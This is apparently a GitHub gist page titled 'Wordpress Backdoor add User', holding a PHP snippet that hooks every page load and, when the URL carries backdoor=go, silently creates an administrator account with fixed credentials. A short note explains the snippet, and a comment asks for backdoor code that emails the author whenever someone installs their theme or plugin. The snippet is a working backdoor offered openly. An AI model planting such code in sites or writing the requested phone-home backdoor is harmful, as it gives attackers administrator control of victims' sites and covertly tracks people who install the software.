Last active
April 16, 2020 16:24
-
-
Save vlrmprjct/aae84dad3ca65637c0770d0b2b28d7db to your computer and use it in GitHub Desktop.
Wordpress Backdoor add User #wordpress #php
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('wp_head', 'wpBackdoor'); | |
function wpBackdoor() { | |
if ($_GET['backdoor'] == 'go') { | |
require('wp-includes/registration.php'); | |
if (!username_exists('USERNAME')) { | |
$userID = wp_create_user('USERNAME', 'PASSWORD'); | |
$user = new WP_User($userID); | |
$user->set_role('administrator'); | |
} | |
} | |
} |
This snippet above creates an user with pw if you call the URL with the parameter go
on a given domain where the backdoor is implemented.
This is not what you want!
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those code kindly help me... I need to learn it also, Thank you